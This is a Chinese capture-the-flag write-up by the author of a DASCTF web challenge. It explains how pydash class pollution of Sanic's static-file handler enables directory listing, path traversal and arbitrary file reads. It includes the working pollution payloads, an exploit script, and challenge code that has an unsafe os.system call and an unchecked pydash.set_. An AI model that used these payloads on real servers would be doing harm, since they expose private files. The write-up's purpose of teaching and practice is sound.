DASCTF 2024暑期挑战赛-WEB-Sanic's revenge gxngxngxn
DASCTF-WEB-Sanic's revenge gxngxngxn
写在开篇碎碎念
在我上篇文章(https://www.cnblogs.com/gxngxngxn/p/18205235)的结尾,我分享了两点我在寻找污染链的过程中发现的一些新玩意。其中作为本题考点之一的file_or_directory就在其中,没看过的师傅可以看一眼(orz。而本题主要考点的污染链我并没有放上去,并不是我故意藏东西(真bushi),而是当时只是有这个思路,但是并没有仔细研究,后面接到了出题通知,才想到要不就出这个吧(别骂了,呜呜呜,其他的我也不会)。才开始着手研究,其实也不难(bushi。
考点分析
书接上文,我们对sanic中列目录的开启功能和穿越链子的找寻,但是我们仔细看他对路由的处理,我们会发现点好玩的东西。
入口的寻找
我们继续看DirectoryHandler类中handle方法中的逻辑:
当我们开启列目录功能后,就会进入:
return self._index(
self.directory / current, path, request.app.debug
)
调用_index方法,我们跟进_index方法:
很明显这里就是对我们传入的目录路径的处理,我们打个断点调试一下:
我们先访问static路由
可以看到这里列出的目录路径就是由self.directory(这玩意是个对象,这里的值是其中的parts控制的)+current拼接得到的,
那么这里就很好玩了,如果我能控制current的值,例如为"..",那这样不就可以实现目录穿越,直接列出上层目录下的文件了嘛
那么current是哪来的呢?
解释:
从给定的路径中去除基本路径(`self.base`),然后返回剩余路径。首先,`path.strip("/")` 去除路径两端的斜杠,然后`[len(self.base):]` 取基本路径之后的部分,最后`.strip("/")` 再次去除剩余路径两端的斜杠
#可以看到current的值就是由path和base两个值决定的
那么现在我们就看是否能控制path和self.base的值了
path
可以看到我们访问static路由时,这里path的值是/static/
那么很明显这里的值就是我们网页访问的路径了,所以可控
self.base
这玩意一看就是自身的属性,想都不用想,随便污染的,也可控
另外我们可以看到这里的值为static
所以我们可以看到此时current的值为:
所以我们此时列的目录仅仅只是:
C:\Users\86183\PycharmProjects\pythonProject1\venv\static
如果我们手动修改current的值为..,那么会发生什么?请看vcr:
可以看到此时成功穿越到上层目录了,列出了上层目录venv下的内容
如何构造?
要想让current变成..,就得访问一个目录,我们在static下新建一个目录ctf的目录
(注意不是文件,访问文件并不会经过上述的操作):
我们直接访问ctf..路由试试,会直接报错
我们调试看看:
可以看到此时path为/static/ctf../,base为static
所以此时current为:
这时你肯定突然灵光一闪,要是我控制base为static/ctf,不就可以让current为..了嘛
gxn(恭喜你),你答对了
我们可以直接污染base为static/ctf
data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/ctf"}
接着继续访问:
可以看到此时current已经变成了..,成功实现目录穿越。
新的问题
那么这里是我们新建了一个目录,要是本来下面没有目录怎么办呢?
我们访问一个不存在的目录看看:
直接就会访问404,压根就不会经过上述的解析操作
那么这时候就需要我们的file_or_directory小伙伴出场了
file_or_directory的妙用
在我上篇文章中也说了,file_or_directory类似flask中的_static_url_path,可以改变静态文件的默认路径
我们只需要通过这个改变到其他目录,该目录下存在其他目录不就好了
data={"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "C:\\Users\\"}
例如我先改变到C:\Users\这个目录下,然后访问
可以看到并不会报404,而是直接500,说明这样确实可行,那么接下来只需要重复之前的步骤即可
成功穿越到上层venv目录,注意这里file_or_directory只是改变它识别的路径,并不会改变
self.directory中parts的值,这个列目录的值依旧是默认C:\Users\86183\PycharmProjects\pythonProject1\venv\static
大乌龙
这里发生了一件大乌龙,当我兴致勃勃的拿这个考点出题时,发现在linux中这样并行不通,直接访问某目录+..会直接报404,后面才发现其实是windows下和linux下的解析差异
windows
例如我这里访问/static/86183../,实际在获取时只会识别/static/86183/,会自动忽略..,但是在后面列目录的时候又不会忽略,额,我不是很懂,所以在windows下直接随便访问一个存在的目录即可
linux
linux下就相对苛刻一些了,访问/static/xxx../,就会识别成xxx..,当你不存在这个目录时,就会报404,所以在linux条件下想要利用,就得有目录名字叫做xxx..,所以就有了下面的抽象题目(师傅们要骂就狠狠的骂我吧,orz)
解题
首先看到给出的附件:
from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash
# pydash==5.1.2
# 这里的源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
@app.route("/*****secret********")
async def secret(request):
secret='**************************'
return text("can you find my route name ???"+secret)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
log_dir = create_log_dir(6)
log_dir_bak = log_dir + ".."
log_file = "/tmp/" + log_dir + "/access.log"
log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak"
log = 'key: ' + str(key) + '|' + 'value: ' + str(value);
# 生成日志文件
os.system("mkdir /tmp/" + log_dir)
with open(log_file, 'w') as f:
f.write(log)
# 备份日志文件
os.system("mkdir /tmp/" + log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")
if __name__ == '__main__':
app.run(host='0.0.0.0')
分析一下源代码:
/pollute路由提供了一个污染点pydash.set_,通过传参key和value可以实现原型链污染。此外这个路由还设置了一个waf,如果触发了waf,就会将key和value的值写入/tmp目录下的文件中
还存在一个未知名称的路由,我们可以猜测里面放了secret ???
根据提示可以发现,这里的源码并不完整,所以我们需要得到完整的源码
这里的入口点就是原型链污染,我们污染file_or_directory到根目录下,就可以实现任意文件读取
我们接着想办法获取源代码文件名,尝试访问/static/proc/1/cmdline:
接着访问/start.sh:
得到源码名称:2Q17A58T9F65y5i8.py
访问/app/2Q17A58T9F65y5i8.py,得到完整源码:
from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash
# pydash==5.1.2
#源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
def __init__(self):
pass
def create_log_dir(n):
ret = ""
for i in range(n):
num = random.randint(0, 9)
letter = chr(random.randint(97, 122))
Letter = chr(random.randint(65, 90))
s = str(random.choice([num, letter, Letter]))
ret += s
return ret
app = Sanic(__name__)
app.static("/static/", "./static/")
@app.route("/Wa58a1qEQ59857qQRPPQ")
async def secret(request):
with open("/h111int",'r') as f:
hint=f.read()
return text(hint)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/adminLook", methods=['GET'])
async def AdminLook(request):
#方便管理员查看非法日志
log_dir=os.popen('ls /tmp -al').read();
return text(log_dir)
@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
log_dir=create_log_dir(6)
log_dir_bak=log_dir+".."
log_file="/tmp/"+log_dir+"/access.log"
log_file_bak="/tmp/"+log_dir_bak+"/access.log.bak"
log='key: '+str(key)+'|'+'value: '+str(value);
#生成日志文件
os.system("mkdir /tmp/"+log_dir)
with open(log_file, 'w') as f:
f.write(log)
#备份日志文件
os.system("mkdir /tmp/"+log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")
if __name__ == '__main__':
app.run(host='0.0.0.0')
可以看到多出来的路由:Wa58a1qEQ59857qQRPPQ,我们直接访问得到hint:
flag in /app,but you need to find his name!!!
Find a way to see the file names in the app directory
这里提示我们flag文件在app目录下,只是不知道flag名字
那么很明显我们需要想办法列出app目录下的文件
还看到adminLook路由可以看到/tmp目录下的文件,而我们的非法日志就记录在此目录下,我们先随便触发一次非法记录,接着访问adminLook路由:
可以看到这里存在两个目录,一个备份目录名称为ddahJ6..,那么就可以利用访问这个目录实现穿越到上层目录:
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/tmp"}
首先切换到tmp目录下,再污染base的值:
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/ddahJ6"}
同时记得开启列目录功能:
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
接着访问即可:
可以看到flag名称,接着访问/app/45W698WqtsgQT1_flag即可得到flag
下面给出我的exp:
import requests
#开启列目录
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
#将目录设置在根目录下
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": "/"}
#修改默认路径
data={"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}
#构造current
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/fJBkhI"}
response = requests.post(url='url', json=data)
print(response.text)